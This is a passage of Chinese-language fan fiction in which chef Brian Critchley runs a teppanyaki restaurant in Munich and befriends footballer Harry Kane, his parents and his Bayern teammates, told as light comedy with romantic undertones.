“伦敦,但我是伯明翰人。” “噢,和格拉利什是老乡啊,确实有点内味儿。” “是,哈哈。” 凯恩把草丛里的手机捡起来,看了看没事才交给他,“你的手机,希望没有坏。” “没事,没撞伤你就行,我真的很抱歉。”他主动伸出手去,“布莱恩.克里奇利。” 对方也伸出手和他用力握了握,还不好意思地笑了笑,“嗨,布莱恩。” 站在阳光里的凯恩高大耀眼还带着微热的汗水,比起颓废多日的他来看更像大英博物馆的猛男雕塑,又man又cool. 克里奇利要搁以前早就抿嘴偷笑,再带着一点大胆冒犯的眼神去打量人家,释放出足够狂野的信息素来,等待的对方的信号再用他敏锐的gayman脑电波快速解析出来,这种高又帅最是他的下酒菜。 但是现在一见钟情的时候少了,没那个心思,现在的他说好听点是旅行者,探险家,说白了就是流浪者,居无定所,无所事事。 因为是老乡,两人一见如故。 凯恩不太关注餐饮也对他略有耳闻,只是没想到在这能遇见,而且比他印象中要年轻的多。布莱恩克里奇利这个老土的名字听上去很像一个老年人。 他们肩并肩在公园的塑胶跑道上走了一会,现在是清晨,又是周末,公园里没什么人,只有凯恩这种无论春夏秋冬上不上班都坚持晨跑的自律人士。 他们一边走一边聊天,这是克里奇利来到慕尼黑之后第一次和别人面对面的聊天,20分钟下来比这两周说的话都多。 最后他们留了联系方式,凯恩说,凭借你的本事找工作不难,实在有困难可以找他。 怎么那么像罗德里呢,喜欢在人落魄时伸出援手,口气也像,不找他就好像不把他当回事一样。 他说谢谢,我不知道要呆多久。 结果他这一呆就是两个月过去了。 整天无所事事,把旅馆附近的路都踩遍了,住的地方又没法开火,这附近也是实在没什么好吃的,德国物价又高,是时候为生计做打算了他想。 既然暂时没有想好去哪,就在这适者生存也好。 他打算盘下离市区比较近的一家快倒闭的铁板烧小店,小店不景气是因为位置不好,靠近农村价格偏高客流量少得可怜,又挨着市区不定价高点付不起房租。 他本来无心经营,也不想凭借自己的头衔抛头露面,蹭球队球星的流量,他只想找个营生不至于吃老本,正好人少清净,还不用给别人打工。 于是他低调的盘下小店,装修成清冷的深灰地窖风,一个海报都没有,就挂了个牌子,中式铁板烧。 附加一块揽客黑板,上面写着: “本店为放题自助,厨师做什么你吃什么,不接受点单。” 走进去还会看到黑色的墙上用灰白粉刷笔潦草地写着的广告语,都是克里奇利不想好好经营的骚话。 “恋爱走心,食物走胃,别爱上厨师什么都好说。” “猛火爆炒,一回生二回熟,三回的别来了,让让别人。” “告诉厨师你的忌口,别端上去这不吃那不吃的,厨师会掀桌。” 一切准备就绪,果然如他所料,每天就来那么三桌,应付下来绰绰有余,还可以维持店里一个助手一个收银一个服务员的开支。 没想到,就这样在德国慕尼黑这个大都市的角落里有了一个栖身之所。 可是不想好好经营也架不住口碑一传十十传百,很快这家名为“随便吃吃”的中式铁板烧就迎来了排长队的场面。 吓的克里奇利手抖,他说这样不行,我是来消遣的又不是来创业的,但把饭做难吃他又做不到,只好改预约制。 店里的两个小哥还有一个收银员大姐很纳闷儿,为什么老板不喜欢赚钱呢? 时间长了他们才发现,这个老板很任性。 他每天只出现3个小时,通常下午采购,7点到10点供应,其他时间手机一关谁也找不到他。 再就是老板身体状况不好,站久了会晕,精神状态也堪忧,来了不说话就是干活,走了也不打招呼,好像店不是他的,人也不是他的。 佛系开店,生人勿近。 有点让人怀疑老板还有其他主业,而这个店只是他掩饰主业的一个据点。 但大家还是按部就班的上班,自觉维系着这个平衡。 其实克里奇利一方面是想低调生活,另一方面确实是在养身体。 那段时间把身体造坏了,总觉得自己中招整天胡思乱想导致植物神经功能紊乱,并由患上了内耳平衡失调,头晕耳鸣恶心,伴随着抵抗力下降经常发热腹痛。 现在静养了一段时间好点了,才有开店的打算。 小店不大,每天预约1桌vip,15个卡座,vip包间99欧一位,卡座88欧一位,属于价格昂贵的小破店,但天天爆满,预约app已经排到两周后。 对普通人来说这个价位有点高,但实际上店家赚的并不多,每天提供最好的食材,都是克里奇利亲自选购,再辅以简单的烹饪技巧,工作量不大,还可以维持收支平衡,就像他要保持健康,必须达到一种类似能量守恒的规律。 这就是他为什么选择铁板烧,因为简单好玩不累。 这天,他的小店依旧爆满,可他在采购途中有些晕车来的晚了些,右眼皮还像被蜜蜂蛰了似的跳的他心烦。 一进门,助理迈尔就风风火火地跑过来帮他拿东西,他一看,店里已经坐满了嗷嗷待哺的客人,还好他们只是在安静地刷手机等待,没有像饿的哇哇大叫的婴儿使他更头晕。 食材都是生鲜非常好料理,基本上原汁原味供应,所以没用十分钟,就让卡座的人先吃上开胃菜了。 vip的客人似乎来头不小,一直在跟服务员确认忌口和过敏原,由于是慕名而来,又是隐藏菜单,沟通了十多分钟,服务员才把记的潦草又繁冗的小本子拿过来。 克里奇利看了一眼,说了句看不懂,翻译一下。 助理一边翻译他一边制作,他听见花生、大豆、芒果、花椒、百合过敏,葱姜、香菜、墨西哥辣椒、肥肉、香菇忌口。 说了这么多他也得耐着性子记下来,关系到客人的身体健康,可不是闹着玩的。 其实vip和卡座待遇差不多,菜品也一样,只是vip隔着一道暗色玻璃门,可以拉上窗纱,看上去比较隐蔽,有服务员上菜到桌,一般来的都是些政要、明星和单位聚餐。 克里奇利撸起袖子,带好口罩,猛猛地开始制作正餐。 大厨手法熟稔精湛,游刃有余地操纵着各类食材在铁板上偏偏起舞,一会像变魔术一会像作画,手底下的火苗时不时地窜出半米多高,猛火和食材碰撞激发出阵阵香气,极具诱惑和观赏性,引得卡座上的人像看一场演出似的频频发出惊叫。 这些vip就捞不着看了,他们身份神秘尊贵,只待味蕾得到满足,享受服务到桌就享受不了大厨亲自喂到嘴边的待遇了。 亲切帅气的大厨就像鸟爸爸打猎回来把肥美的虫子一个一个的塞进叽叽喳喳叫唤的小鸟嘴里,一喂一个不吱声。 开业到现在一直很和谐没出过问题。 可今天菜品供应到一半的时候,vip包间里突然窜出一个人影,捂着嘴跑向洗手间。 这是怎么回事?有客人吃吐了? 克里奇利看着那人的弯着腰的背影伴随着阵阵干呕声从他眼见一闪而过。 服务员杰米被叫到包间迟迟不出来,克里奇利看过去,有几个人站起来似乎在为难那个瘦弱的服务员。 这时人群里也发出了一些骚动,他们看看自己眼前的菜品再抬头看看克里奇利。 这是一道传统烤牛小肠,外酥里嫩,麻辣鲜香,没什么问题啊。 克里奇利说,没事,我去看看,你们吃你们的,放心吃就行。 他虽这么说,大家却都不敢下筷子了。 他对助理说你去看看vip那边发生什么事了,我不好沟通,我去卫生间看看那个客人怎么了。 他刚要走,服务员杰米一脸委屈的走过来,扯了扯他的袖子说,“老板,他们叫你。” “唉,好吧。”克里奇利擦了擦手,又对助理说,“那你去卫生间看看客人怎么了。” 他只好硬着头皮去vip接受质问。 他刚拉开那扇玻璃门,一帮操着德语的男人就开始叽里呱啦的冲他来了。 “你竟然给我们上动物内脏,还是牛小肠。” “我们运动员不吃这个。” 克里奇利一头雾水,他听不懂。 服务员杰米给他连翻译带解释,他说,“他们之前没说不吃动物内脏,现在又说不吃,这也太难为人了,关键是我没说这是牛小肠的时候,他们吃的还津津有味,问我这是什么,我说是牛小肠,接着那个客人就捂着嘴跑出去了,你说,这是什么事儿啊!” 克里奇利明白了。 一场没有提前告知和他自作主张的误会。 本来他没打算上这道菜的,因为这帮地道的德国人不吃动物内脏的太多,但今天的牛小肠真的特别新鲜特别好,而且他的新菜谱就是这道麻辣鲜香脆嫩牛小肠,想打个口碑来着。 而且卡座的人都说好吃。 看来是碰到钉子了。 “明天我们有比赛,万一我们运动员吃坏了肚子你要负全责。” “吃不坏肚子,我保证。” “你保证有什么用,我是说,他不吃动物内脏很多年了,你这等于给吃素者上烤肉,你明白吗?我明明告诉你了,不吃动物内脏,你这是餐饮事故,事故。” 叽里咕噜说了一堆,给克里奇利惹烦了,他的忌口菜单上根本没写这个,现在信口雌黄,把锅往谁身上甩呢。 这个上了点年纪有点胖的男士咄咄逼人质问服务员,再对克里奇利说,“你的人没做好工作,是不是该给我们一个解释。” “对啊,至少道个歉。”旁边的人也开始示威。 莫名其妙。 来了这么久,还没蹦迪呢。这个火,他向谁撒? 但最终,他还是耐着性子说了一句,放心吧,没有事,我以我的人格担保,绝对没事。 转念一想,我跟你们道什么歉,我还是先去看看那位客人怎么样了,别真的过敏了才好。 不会,刚才吃过牛肉。 他一边跑一边开始捋顺刚才提供的食物顺序,帝王蟹,紫苏虾,和牛,龙虾…牛小肠,鲍鱼麦米羹…就这些,还有好多菜没上呢,现在大厅快乱套了。 他跑到洗手间,他的助理正站在那位先生身边不知所措,见老板来了主动退出去,在老板耳边说了一句,“了不得了,boss,大人物,可别被讹上。” 卫生间灯光有些昏暗,克里奇利看不清那人的脸,但这高大的侧影很眼熟,不会这么巧吧。 他走上前去,先试着叫了一声顾客,你好,我是… 那人转过头来,俩人都愣住了。 “噢!这么巧!” “噢!是你呀!” 克里奇利向前一步,一把抱住了这个他刚来慕尼黑没多久就遇见的英国老乡,哈里凯恩。 无巧不成书。他们再见面显然热情奔放了许多,像两个失散久逢的兄弟。 克里奇利一手搂着他一手拍了拍他的胸脯,关切的问,“没事吧?吓坏我了!” “没事,呃…没事。”他欲言又止,脸色也不太好看,眼角还有些红,不知道是喝酒了还是哭过,他身上没有酒味儿,看来自律的凯恩在德国连啤酒都不喝。 “看你的样子不像没事,是吃了我做的食物觉得不舒服吗?” “不是…就是…”他还支支吾吾不肯说,这让克里奇利更好奇了。 “不吃牛小肠吗?没事,那是消化道不是…” “不不,不是牛小肠的问题,我只是不爱吃动物内脏。” “抱歉。” “不用抱歉,不是你的错,是我的问题。” 他说来说去就是说不到点上,让克里奇利拿捏不准他的意思,也捉摸不透他的性格,怎么这么黏糊呢,完全不像第一次见面时那么英姿勃发,帅气爽朗。 “你不想告诉我为什么难受吗?” “不想。” “好吧,那我不问了,我扶你回去吗?” “不用。” 两个人往外走。 “不是,凯恩先生,你的同事会难为我的,如果不是我的食物问题,还请你帮我说明一下,你说过有困难找你的。” “呃…好吧,克里奇利先生,我真的很抱歉,你的食物很好,我很喜欢,只是…有一道菜…吓到我了。” “啊?”克里奇利瞪大了圆圆的眼睛,一脸不可思议的歪着头看他,想了想自己没在他面前杀鸡宰鱼,也没有亮兵器拆卸什么骨头筋肉的吧。 “鲍鱼麦米羹。”他终于说出口,说完之后就反常的捂住脸,不好意思地低下头,和他硬朗猛男的外形反差极大。 “鲍鱼麦米羹怎么了?” “实话告诉你,我有点密集恐惧症,你那个麦仁全都煮开花了,我…我…”说着他就打了个冷颤,双手交叉扶住自己胳膊来回搓了搓。 “而且一喝,全部在动,我一下子就受不了了。” “啊?噢!天!”克里奇利头一次听说他做的粥会这么吓人,还把客人吓的恶心呕吐,好像还哭了呢。 “是不是很丢人,我的天!”凯恩直接站住不往前走了,他怕回去有人嘲笑他。 “要我说,凯恩先生,这也很正常,有的人临界点就是不一样,比如我,害怕活虾,但是我的职业不允许我害怕它们,你不知道我小时候被活虾吓哭过多少回。” 这么说,好像稍稍安慰到了他一点。 回去落座后,克里奇利不得不继续照顾他的顾客小鸟们,给他们道歉,对不起让你们久等了,刚才那个顾客是因为不喜欢牛小肠,不是我们的餐有问题,大家可以放心,我绝对不会让你们吃我的食物有事的。 凯恩回去后又跟朋友们解释半天,最后走的时候克里奇利还给他们免了单。 本来是他差点因为牛小肠而落了下风,没想到是麦米羹惹祸免单了反而还让他占据了上风。 vip客人们离开的的时候,凯恩一脸的抱歉,他的朋友们还是颐指气使的对克里奇利说,这次就不追究了,但我们不是差这点钱,是你们服务有问题。 凯恩推着一帮醉汉往外走,克里奇利带着他的三个店员站在门口绅士的送客。 凯恩回头再次拥抱了他,说着,“给你添麻烦了,明天的主场比赛希望你可以来,我给你留位置。” “啊,好,我一定去。” 凯恩刚要上车,克里奇利又跟上一句,“凯恩先生,你一定会进球的!” 告别后,克里奇利一晚上没从这个事儿中缓过来。奇怪的是眼皮不跳了,头也不晕了,凯恩还怪可爱的。 他们还抱着手机聊到了半夜,要不是克里奇利劝他快睡,明天有比赛,他们能聊到天明。 有什么聊的,聊伦敦的酒吧,凯恩不熟悉,他很少出现在那里,聊训练和比赛,克里奇利是外行,他也插不进话去,但就是有的聊,各聊各的,只管输出就行,聊到不投机的,一个well,so good就可以给对方提供情绪价值。 好像认识了很久的朋友,连俚语口头禅甚至dirtytalk都那么自然而然地倾泻出口,那种大说特说拽着说家乡话的感觉真的爽。 爽到在床上翻滚,这半宿不知道换了多少个姿势,一边聊天一边笑。 凯恩给他讲,他家有一次过圣诞节他爸有多潦草,连圣诞树都忘了买,最后从人家下班了的便利店门口偷了一棵回来。 克里奇利说哇哦那也不错,毕竟沿街店铺门口全都是那玩意,多一个少一个的谁知道呢。 凯恩说,我和妹妹还抱怨那光秃秃的圣诞树上没有星星和礼物,我爸说有棵树就不错了,还星星礼物。 克里奇利笑他可真记仇。 然而在他印象里他家就从来没有一棵圣诞树,后来几年的圣诞节,简直可以用混乱来形容,别说布置了,每到这一天都是永无休止的吵架和反复问为什么当初没生下他就摔死呢。 但是已经过去这么多年,克里奇利回想起来也不那么难过了,因为他长大了,已经懂了人究竟可以冷漠刻薄到什么程度。 但是从凯恩的故事里,他感受到了一点家庭的温馨,这感觉就像阵阵暖流流淌过他疏远孤独的心窝,无端激起朵朵渴望亲情的浪花。 他们才认识了2个月,确切地说只有两天,第一天公园里的邂逅,第二天餐厅里的误会,但现在他们在聊家人朋友好像要把自己给相亲出去。 聊到半夜两点,克里奇利说陪你聊了这么久算不算赛前鼓励,他说噢差点忘了给你发验证码,明天从贵宾通道进来,可以路过我们的更衣室,到时候给你介绍几个朋友认识。 克里奇利说那我很荣幸,期待明天你们的精彩表现,赢了我请客,这次咱们不吃那个了。 凯恩说噢,快别说了,我真羞死了。 第二天的比赛是下午3点半。 克里奇利提前安排助理去采购,他打算看完比赛再去店里,虽然他佛系经营小店,但顾客几乎都是冲着主厨手艺预约来的,不能怠慢,所以自从开店以来都是他亲自料理。 还好不是8:30那场,不然还真脱不开身。 他走进安联竞技场,这个可容纳75000人的白色钢铁苍穹,外观像白色的鸟巢,透着古老的神圣和静谧。 走进去一眼就可以看见偌大的绿茵场和观众席紧密相接,散发着德国人独特又坚持的足球审美。他们渴望和球员滚烫的呼吸交织在一起,呐喊声响彻在身披红白战袍的勇士耳边,而这里的灯光无论白天黑夜,永远为追寻者亮着。 到了夜晚,这里就会亮起红色的灯,成为点缀慕尼黑这座艺术之都的一道光鲜靓丽的名牌。 其实伦敦球场更多,到处都是,只是克里奇利以前没有关注这些,这次以一个观赏者的角色来看球,还怪让他感到新奇和震撼的。 终于不用给球员准备那些花式繁复的饮料了。他还记得德容老是点了一种之后变卦,从他的饮料箱里随机挑走一杯,一开始他还很认真的告诉他贴名字了别乱拿,后来干脆每一样多准备一杯,省的德容不开心影响他踢球。 这点小心思总被佩德里看在眼里,说克里奇利把德容惯的像个小孩儿。 克里奇利说惯着吧,我就爱看他在场上跑的像个孩子似的,喜欢用华丽的转身过掉全世界,再化身为神勇的发牌小队长。 想要忘掉一些事真的不容易,而且他没想到还会和足球届打交道,思绪被陆陆续续进入更衣室的球员打断,他看到了那个高大的身影向他走来。 凯恩看见他立刻冲他招手,他刚想举起手来回应,就看见他前面一男一女率先走过去和他拥抱,并亲吻了他的侧脸。 从这个门进来的都是关系户吧,或者说是亲朋好友,他以前都是和球员一起从球员通道而来,还没拿过家属票,享受过vip待遇呢。 凯恩和两位年长者拥抱完,接着走过来一把拉过克里奇利的胳膊,对他介绍道,“我的父母今天也来了。”他笑着把克里奇利介绍给他们认识,“这是我在慕尼黑刚认识的一位朋友,布莱恩克里奇利。” 克里奇利有点意外但很快就伸出右手和凯恩的父母握了握。 随后凯恩又拉过来和朋友叙旧的托马斯穆勒,还有和队友打闹的穆西亚拉,非常自豪地给他们介绍,“呐,这位就是我和你们说过的我们英国的厨神克里奇利了!” 搞得克里奇利有些羞愧。 虽说他们一见如故,但是突然被介绍给他的父母和朋友,还是有种踩到他的雷点般让他不太自在。 怎么好像见家长和闺蜜呢。 穆勒笑笑挤出一脸褶子,说:“真是一表人才。” 穆西亚拉胳膊肘怼了怼穆勒说:“哥,你别这样,矜持点。” 穆勒瞪了他一眼说:“小崽子,今天再漏球我收拾不死你。” 凯恩伸手把他们推远了点,感觉这朋友真给他掉价。 队长诺伊尔一声吆喝,“赶紧换衣服准备进场了,小伙子们!” 凯恩这才给他们指路,叫他们过去坐在主队替补队员后面的看台上,又拉住克里奇利对他说,“可以麻烦你帮我照顾一下吗?他们刚从伦敦来,还不太熟悉这里的氛围。” “放心吧。”克里奇利笑笑,“我会和他们聊天,在你进球后和他们一起大喊。” “哈哈,好!” “噢,等一下,Harry.”克里奇利突然想起来什么,从兜里掏出一块英国非凡巧克力,零糖零脂,方方正正一小块,塞进凯恩手心里,对他说:“幸运巧。” “噢,谢谢。”凯恩眼睛一亮,嘴角随之翘起美妙的弧度。 克里奇利以为和长辈一起看球会有些尴尬,但老两口时不时地和他交谈问这问那的还怪让他感到亲切。 当然不是问多大了,在哪上班,赚多少钱,有对象了吗,而是问他为什么来慕尼黑,英国人来德国创业不容易的,需要帮助可以和凯恩讲,他最喜欢帮助人了,可惜他在德国这么久了还没有一个亲密的朋友,你是他第一个介绍给我们认识的朋友。 凯恩的母亲,一位优雅传统的英国夫人,长得很高大,金发碧眼,看得出年轻时是位大美人。 她得知克里奇利从伦敦到了曼彻斯特,又去了巴塞罗那,现在来到慕尼黑,短短两年间换了这么多地方,除了好奇之外还有些关心,毕竟他和凯恩差不多大,她问他,“孩子,你怎么一个人东跑西颠的,闯祸了?” 他摇摇头,看着眼前这位慈眉善目的夫人,柔声道:“没有,夫人,就是想出来见见世面。” 凯恩父亲也加入到他们的聊天中来,笑着对他说:“那很好啊,多走走总是好的,我听说你很会做饭啊,是不是?” 克里奇利回答:“我是一名厨师,先生。” 他们老两口似乎很满意的点点头,然后互相交流起来。 凯恩夫人:“我说,Harry连个火都不会开,我都担心他在慕尼黑饿肚子。” 凯恩先生:“别瞎操心了,他们俱乐部管饭。” 凯恩夫人:“可是俱乐部的饭孩子吃不饱啊,他每天运动量那么大,身边没人照顾可怎么行。” 老两口对视一眼接着把目光齐刷刷地投在这个看上去吃的很好很健康的人脸上。 要不聘请他给孩子做饭吧,这个念头已经在老两口的脑海里果断达成了一致,他们打算看完球以后和这个英国会做饭的孩子谈谈。 “出场了!”随着克里奇利喊了一声,全场红白色的巨浪开始涌动呐喊。 老两口也站起来和身后的球迷们一起向着入场球员们挥动手臂。 凯恩目光深邃地望向看台,神色镇静从容,手心传来阵阵热度让他微微眯起了眼睛,像正要外出捕猎的猎豹,充满了雄心壮志,而刚刚融化在舌尖的巧克力也让他信心倍增,他说那是块幸运巧,就好像苦与甜最终交织成一场场催人奋进和收获累累的比赛。 一切都是缘分。 这场拿下3分就可以登顶联赛,离自己今年的目标又近了一点。 上半场第27分钟,托马斯穆勒教科书般地在边中结合处撕开缺口。 基米希45度斜传中路,穆西亚拉在穆勒的一声跑啊之后撒开腿往前冲,带球突破了3个后卫的围追堵截,在临近大门的时刻突然一脚回传给了杀进禁区的凯恩。 凯恩如同嗅到血腥味的猛兽,接到球后用利刃般的战靴巧妙撕开的对方的防线,过掉两个,接着趟了两步,把刚才围追穆西亚拉的那俩后卫又过了一遍,右脚起脚打门,皮球子弹般射入网窝。 goal——!!! 全场雷动! 凯恩夫妇更是一激动直接抱住了身边这个和他儿子一样高大伟岸的青年。 他们还在看台上跳了起来,那激动堪比夺冠。 其实每次进球,每场胜利都值得歌颂,大英帝星在德国一样闪耀,何必要用冠军头衔来网住他呢,他值得被捧在神坛上,被称为英格兰最好的前锋最值钱的中锋。 克里奇利也没有一个像样的头衔,那也不耽误他想干嘛干嘛,说辞职就辞职,不说一声也辞职,这份洒脱谁给他的,他认为是底气,是实力,是一朵摇曳空中仰着头的玫瑰,永远孤傲地独自美丽。 下半场易边再战。 弗莱堡转变了战术,变成门前摆大巴,想要阻截凯恩的猛烈进攻,同时打起了快速反击。 在第60分钟,被绍洛伊单刀扳平。 安联球场瞬间陷入安静。 第73分钟,萨内直塞穆西亚拉,后者看准了凯恩这个制高点,果断一脚挑向禁区,凯恩高高跃起,在两名中卫夹击中甩头攻门,将皮球重重砸进大门,门将杵在原地甚至没来及反应,球就进了! 现场解说大声喊出凯恩的名字,还带着好几万球迷大喊了三遍哈里凯恩,现场气氛达到了高潮。 最终比赛以凯恩梅开二度以2-1顺利拿下了3分。 这场比赛使凯恩以赛季12球领跑射手榜,更以5次梅开二度刷新着德甲本赛季记录。 赛后一家四口,不,凯恩邀请克里奇利和他父母共进晚餐。 克里奇利婉言谢绝,说我还得回去工作,顾客是上帝,我得满足每一个慕名而来的小可爱,坚持每天喂饱他们,不能让他们失望。 这么敬业又负责的人,凯恩他们一家都爱了。 接着,克里奇利脑袋瓜一动,说不如去我那里吧,我答应你赢了请你吃饭的。 第75章 …… 克里奇利现在有一种创伤后的戒断反应,让他对凯恩这样的头牌有些力不从心。 凯恩给他的感觉更像是兄弟朋友,想依靠过去,也想爱他,不是想睡他,他怀疑自己是不是直了,直到翻看了他的看片app以后才确定不是直了,只是他有时也想交个朋友。 那天他和他的父母度过了一个很有人情味儿的夜晚。 凯恩问他:“怎么样?看我们的比赛很燃吧。” 他也有心情跟凯恩开玩笑,“嗯,怎么说呢?” 凯恩心想:害,他都跟过曼城,巴萨,又把他当球盲了。凯恩刚想说,其实我们踢的也一般般啦。 克里奇利突然搂过他肩膀,一脸兴奋地夸他,“简直是太棒了!哈里,你的进球让我热血沸腾!” 凯恩被他哄的快上天,接着他又说了一句果然是虎父无犬子,父母的优良基因全体现在你身上了,又把他父母哄的心花怒放。 那天,他的小店人满为患,为了不吵到他们,他把凯恩一家安排到了他的休息室里,每做好一道菜他都会亲自送过去,来来回回跑了十几趟,最后凯恩不好意思麻烦他直接来吧台取餐,每次来都会引起卡座一片沸腾。 这顿饭吃的可太高调了。 忙到9点多,克里奇利才坐下陪他们一起喝茶聊天。 他父母一个劲儿的夸他厨艺好,说这顿饭是他们吃过最好吃的中餐,特别是那个黑松露蛋炒饭,太香了。 克里奇利心想这才哪到哪,要不是今晚太忙,高低给他们弄个国宴水准。 就这么几道中式大锅菜就征服了两个传统英国胃,还有一个对饮食不太感冒的大老粗,他总问这个是什么那个是什么,跟个乡巴佬似的,逗的克里奇利哈哈笑。 克里奇利不知道什么时候学会的婉转,他说你这是王子微服私访,不食人间烟火。 说到这,凯恩的妈妈突然叹了口气,凯恩的爸爸也一脸愁容,两位喝茶的大孩子纷纷看向他们。 “真的非常冒昧。”凯恩夫人开口道:“你这忙活一晚上,烟熏火燎的能赚多少钱?” “妈。”凯恩觉得打听别人收入很不礼貌。 克里奇利却没觉得怎样,他反而很乐意跟二老分享他的事。 “1000左右,就这些人,也多不了哪去。” 凯恩先生惊讶的啊了一声,说不算多啊,布莱恩,你这一晚上基本没有闲下来,而且还有三个雇员,会不会太辛苦了。” “不会,先生,因为我用的都是最好的食材,所以利润不会太大,但是也够维持生计了。” 老两口互相看了一眼,心里的小算盘打得噼啪作响,他们迅速达成一致,一起开口说,“可不可以雇你照顾一下哈里?” “噢,天,你们说什么呢?”凯恩大惊失色,他觉得他爸妈今晚不太正常,怎么突然这么没礼貌呢。 “哈哈哈…”克里奇利笑了,他和凯恩想的不一样,不会觉得老两口是在用钱砸他,他能理解他们是出于对他厨艺的肯定和对他这个人的欣赏,最重要的是一份来自长辈的信任,当然还有对他儿子无私的爱。 “先生,太太,我很高兴你们看得起我,我的确有球员饮食方面的经验,而且我的收费不高,曾经2万一周被人雇过。” 他说到2万,老两口还惊讶了一瞬,心想谁呀这么大手笔,不过就算2万他们也愿意出。 凯恩这个赛季关键极了,像他这种自律的吃法和训练法,虽然看上去挺健康挺壮的,实际消耗很大,经常疲惫的缓不过来劲儿。 有时候上场前要补充两倍的糖和大量的咖啡红牛,强行开机运转,赛后就又重蹈覆辙,这一年下来,瘦倒是没瘦多少,头发可是稀薄了不少,主要是他的生活看似健康,实际枯燥又无聊,还不叫他们来陪。 凯恩总说陪什么陪,国家队集训就回去了,都30多的人了,还能饿着自己吗,再说妹妹家的小孩还需要照顾,所以他来了德国两年,父母才第一次正式登门拜访。 凯恩拉了拉克里奇利的手臂,偏过头来对他说,“抱歉,太冒昧了,你别放在心上。” 克里奇利按了按他的手,接着对凯恩老两口说道:“不过,我很满足现在的生活,而且我不知道能在德国呆多久,我是一个抬起屁股就走的人,非常之靠不住。” “怎么会呢,我觉得你很可靠,我的直觉告诉我你是一个让人放心的孩子。”凯恩夫人温暖柔软的双手覆盖在克里奇利交叉在桌上的手,眼睛一眨不眨的注视着他,“你一个人离家在外,走南闯北不容易,你爸妈也会担心你。” 凯恩夫人的关心让他一时有些恍惚,好像被一种叫母爱的东西给暖了一下。 他笑笑说:“儿行千里母担忧,我不一样,我父母早就死了。” 这么多年,即使他闯出来一些名堂,他父母都从来没联系过他,想要找他不难,哪怕找他要点钱也能让他知道这个世界还有和他有血缘关系的人。 后来他向他朋友理查德,保罗打听过,他们支支吾吾地告诉他,他爸得了病不知道去哪了,他妈已经和别人结婚并有了孩子。 想到这他的眼睛里有一丝微不可查的落寞。 老两口立刻送上安慰,齐声说道,“很遗憾听到这个。” “没事,都过去很久了。”他摇摇头,依然保持微笑。 凯恩夫人站起来走过去抱着他的头亲吻了他的发顶,他突然感觉自己变得轻飘飘的,好像被云朵给托起了一样。 虽然拒绝了这份高薪兼职,克里奇利还是愿意为凯恩做点什么。 为了让老两口不虚此行,他答应他们会隔三差五地去凯恩那里教他做饭。 其实老两口也不是非要给他再请个私厨,而是想让凯恩有个伴,再学会照顾自己,他们知道不会做饭的凯恩就算饿着睡觉也绝不会动锅,外卖都懒得叫。 他能不嫌麻烦跑个10公里也不会动手去拆面包袋。 就这样,接下来的日子,克里奇利教会了他怎么用微波炉做快手菜,比如晚上饿了又不想刷碗,直接把他送的预制菜连包装盒一起放进去打3分钟,吃完了连包装一起扔掉,就不用刷锅刷碗也不用开火了。 他给凯恩准备了牛肉干,卤鸭腿,奶酪鸡胸肉,番茄意面等用来抗饿,还准备了开袋即食的蔬菜沙拉,100g一袋70大卡非常便捷又没有热量负担。 一周送一次,连续送了一个月后,凯恩像小牛一样状态生猛,进球如麻,还断崖式领先获得了德甲月度最佳。 主要是他心情肉眼可见的好,场上兴奋,场下活跃,想变了个人似的,和队友工作人员的亲密度从这两年的基本认识例行问候到德语完全无障碍交流,还会玩梗开玩笑。 和他关系比较好的穆勒严重怀疑他交了女朋友,一个劲儿地套他的话,说凯恩你不够哥们意思啊,整天下班就跑,是不是金屋藏娇了啊? 凯恩红着脸说,“我哪有时间,我下班还得学习考硕士。”其实他早就拿到证了一直没告诉别人。 穆西亚拉觉得穆勒说的有道理,他看凯恩开始注重外形打扮了,那小发型梳的一场下来都不带走形的。于是八卦的偷偷拉着穆勒说,“哥,咱俩下班跟踪他!” 穆勒说:“闲的我,这么大年纪了还干这样缺心眼的事?” 结果装成熟没压过好奇心,这天下班,他俩鬼鬼祟祟上了同一辆车,打算跟踪凯恩看他是不是谈恋爱不和他俩说,被他们抓到了一准讹他一顿,叫他不守承诺搞个人主义。 他们三个单身汉约定好了一个叫“铁三角兄弟联盟”的誓约,谁先脱单谁就破坏了铁三角的关系,不仅要请客一条龙,还要给另外两个没脱单的洗一个月袜子。 洗袜子这个事可太要命了,虽然是机洗,可一想到每天都要捡别人臭袜子就觉得不正常,万一被媒体知道了,会写某人有恋臭癖。 德国人才不会跟你讲情面,臭袜子一定会趁着新鲜热乎丢给你。 这个馊主意还是不怕事大的凯恩提的,因为他就没打算在德国解决个人问题。 他还是比较传统,对象要见了家长才能进一步交往。 尽管30多了,还履行着同居报备的规矩。 来德国两年了,和女友分手后就再也没报备过,一心搞事业的他让很多人都为之操心和着急。 他说人家孙兴慜不也单着吗,还说色即是空。 他俩跟着凯恩一路,发现他在一家奥迪4s店停下车走进去了。 两人合计他不是刚买了新车又买车吗?不不不一定是给女友买车。好家伙,凯恩这么大方,刚认识就买车啊。也不奇怪,想要留住人家不花点钱怎么行。 凯恩在越野车那边转,最后还拿到了车钥匙。 穆勒呲着尖牙哈哈笑,说凯恩这个呆瓜,谁家女孩子喜欢这么大的车,买个迷你宝马多好,可爱又拉风。 穆西亚拉却不这么认为,他故作高深道,“哥,你不懂,现在女孩子都喜欢开大车,有驾驭感。” 穆勒瞪他一眼,心想你个小孩崽子懂什么。 凯恩兴冲冲的走出来,在门口把车钥匙往天上一抛,还差点没接住,那滑稽样儿把车里观察他的俩德国人笑得不轻。 他们继续跟踪他来到他家别院斜对面的一棵大榕树后停下车,远远地看着期待能发现什么。 他俩也是够无聊,在车里还研究了一会他要是进去用什么理由堵门啊。 结果没用多久就让他们看见了“女主角。” 第76章 这哪是什么美女,从…… 这哪是什么美女,从面包车里下来的分明是一个脖子长腿长的大男人。 打背影看,男人目测将近一米九,上身穿一件灰色的衬衫,下身白色的休闲裤,浅咖色的皮带恰到好处的勒出劲瘦的腰身,身量挺阔的像棵大树把凯恩给完全挡住了。 唉,他俩一声叹息,看来白跟踪一趟,凯恩只是会友,这个男人他们之前见过,不就是凯恩经常挂在嘴边,被他形容的多好多好的英国厨神克里奇利吗。 他们刚要走,路那边的两个人就抱在一起了。 看来还有的看。 穆勒眼睛瞪的比穆西亚拉还圆,完全忘了自己之前还鄙视这种跟踪好友的变态行为,看着看着还抓紧了穆西亚拉的手腕。 “哥,你使什么劲呢?”穆西亚拉喷气式小声吐字,忍受着手腕上的巨大握力而不敢大声嚷嚷。 “咳咳…”穆勒清了清嗓子,心想这个克里奇利什么来头,正脸冷峻出挑,背影怎么也像远山一样有型有派的。 